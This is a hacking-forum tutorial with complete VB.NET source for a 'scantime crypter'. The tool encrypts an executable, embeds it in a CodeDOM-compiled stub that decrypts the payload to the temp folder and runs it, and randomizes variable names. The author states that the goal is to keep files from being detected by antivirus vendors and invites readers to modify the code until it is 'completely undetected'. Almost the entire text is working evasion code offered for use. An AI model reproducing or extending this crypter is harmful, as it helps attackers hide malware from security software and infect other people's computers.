Scantime Codedom Crypter
In this tutorial i will teach you how to make basic scantime crypter using VB.NET and the inbuilt CodeDOM library.
In this tutorial i will teach you how to make basic scantime crypter using VB.NET and the inbuilt CodeDOM library.
.:Credits:.
*Pr3fix - CodeDOM compiler
.:How it will work:.
CodeDOM is a library included in the dotNET framework. CodeDOM will allow us to compile a new application from a source stored in a string. Using CodeDOM we can make a program that compiles an application containing the encrypted bytes of a file and a function to decrypt the bytes and write them to the harddrive. This will make it a pain in the ass for all the AntiVirus companies out there to detect your file!
.:Let's begin:.
Just before we start I want to make one thing clear, the code provided in this tutorial needs to be modified to get completely undetected.
The first thing you will have to do is to add one button and two textboxes.
Name the first textbox "InputText" and the second one "OutputText".
And finally name the button "CryptBtn" and set its text to "Crypt File".
Now double click on My Project and click on the tab Resources. Then add a new Text File to your resources called Code. This text file will contain the source your program will compile.
Then write this text in the text file:
Code
Imports System, Microsoft.VisualBasic, System.IO
Imports System.Security.Cryptography
Imports System.Diagnostics
Module Module1
Sub Main()
Dim Key As String = "//ZKey//"
Dim SavePath As String = Path.GetTempPath & "temp.exe"
Dim //ZBase64Bytes// As String = //ZB64//
Dim Bytes As Byte() = Convert.FromBase64String(RijndaelDecrypt(//ZBase64Bytes//, Key))
File.WriteAllBytes(SavePath, Bytes)
Process.Start(SavePath)
End Sub
Public Function RijndaelDecrypt(ByVal UDecryptU As String, ByVal UKeyU As String)
Dim XoAesProviderX As New RijndaelManaged
Dim XbtCipherX() As Byte
Dim XbtSaltX() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim XoKeyGeneratorX As New Rfc2898DeriveBytes(UKeyU, XbtSaltX)
XoAesProviderX.Key = XoKeyGeneratorX.GetBytes(XoAesProviderX.Key.Length)
XoAesProviderX.IV = XoKeyGeneratorX.GetBytes(XoAesProviderX.IV.Length)
Dim XmsX As New IO.MemoryStream
Dim XcsX As New CryptoStream(XmsX, XoAesProviderX.CreateDecryptor(), _
CryptoStreamMode.Write)
Try
XbtCipherX = Convert.FromBase64String(UDecryptU)
XcsX.Write(XbtCipherX, 0, XbtCipherX.Length)
XcsX.Close()
UDecryptU = System.Text.Encoding.UTF8.GetString(XmsX.ToArray)
Catch
End Try
Return UDecryptU
End Function
End ModuleThis code will decrypt the bytes stored in //ZBase64Bytes// using the function RijndaelDecrypt, write the bytes to the harddrive and start the written bytes. Pretty simple!
Now onto reading the bytes, encrypting them, putting them into the source and compiling the source!
Now go back to the form, open the click event for "CryptBtn" and write this code:
Code
Dim Source As String = My.Resources.Code 'Declares the temporary source.
Dim Password As String = "YourEncryptionKey"
Dim Bytes As String = ProcessBase64(Rijndaelcrypt(Convert.ToBase64String(File.ReadAllBytes(InputText.Text)), Password), 2000) 'Encrypts, Formats and Converts the bytes.
Source = Source.Replace("//ZKey//", Password) 'Inserts the Encryption key into the code.
Source = Source.Replace("//ZBase64Bytes//", GenerateString(7)) 'Some basic variable name randomization.
Source = Source.Replace("//ZB64//", Bytes) 'Inserts the encrypted and formatted bytes into the code.
Compile(OutputText.Text, Source) 'Runs the compile Sub using the source.
Msgbox("Crypted!") 'Tells you that the process is done!Now we need to add these three imports:
Code
Imports System.CodeDom.Compiler
Imports System.IO
Imports System.Security.CryptographyNow we need to add some of the missing functions:
Code
#Region "Encryption and Comiling"
Private Function GenerateString(ByVal Lenght As Integer) 'Generates some random text
Dim Allowed As String = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"
Dim ReturnString As String = ""
Dim Randumb As New Random
For i = 1 To Lenght
ReturnString &= Allowed.Chars(Randumb.Next(0, Allowed.Length - 1))
Next
Return ReturnString
End Function
Public Function ProcessBase64(ByVal Base64Bytes As String, ByVal MaxRowLengt As Integer) As String 'Puts the encrypted data in smexy VB.NET formatted lines.
Dim RowLenght As Integer = 0
Dim CurrentRow As String = ""
Dim Output As String = ""
For i = 0 To Base64Bytes.Length - 1
RowLenght += 1
CurrentRow &= Base64Bytes.Chars(i)
If i = Base64Bytes.Length - 1 Then
Output &= Chr(34) & CurrentRow & Chr(34)
Else
If RowLenght = MaxRowLengt Then
RowLenght = 0
Output &= Chr(34) & CurrentRow & Chr(34) & "& _ " & Environment.NewLine
CurrentRow = ""
End If
End If
Next i
Return Output
End Function
Public Sub Compile(ByVal Output As String, ByVal Source As String) 'CodeDOM compiler by Pr3fix
On Error Resume Next
Dim Compiler As ICodeCompiler = (New VBCodeProvider).CreateCompiler()
Dim Parameters As New CompilerParameters()
Dim cResults As CompilerResults
Parameters.GenerateExecutable = True
Parameters.OutputAssembly = Output
Parameters.ReferencedAssemblies.Add("System.dll")
Parameters.ReferencedAssemblies.Add("System.Data.dll")
Parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll")
Dim Version = New Dictionary(Of String, String)
Version.Add("CompilerVersion", "v2.0")
Dim ICO As String = IO.Path.GetTempPath & "\iCompiler.ico"
cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)
If cResults.Errors.Count > 0 Then
For Each CompilerError In cResults.Errors
MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK, MessageBoxIcon.Error)
Next
ElseIf cResults.Errors.Count = 0 Then
End If
End Sub
Public Shared Function Rijndaelcrypt(ByVal File As String, ByVal Key As String) 'Encryption Function
Dim oAesProvider As New RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New CryptoStream(ms, _
oAesProvider.CreateEncryptor(), _
CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(File)
cs.Write(btClear, 0, btClear.Length)
cs.Close()
File = Convert.ToBase64String(ms.ToArray)
Return File
End Function
#End Region.:You're done!:.
Now the crypter is finished, just enter the name of the file that you want to crypt in InputText and where you want to save the final file in OutputText.
Alot of improvements can be done to the code, but I'll leave that up to you! ✌
This was my first tutorial on HF, so don't be too harsh on me!
I hope you all are having a nice day! 🎉
Give credits! Leechers makes me sad! 😭


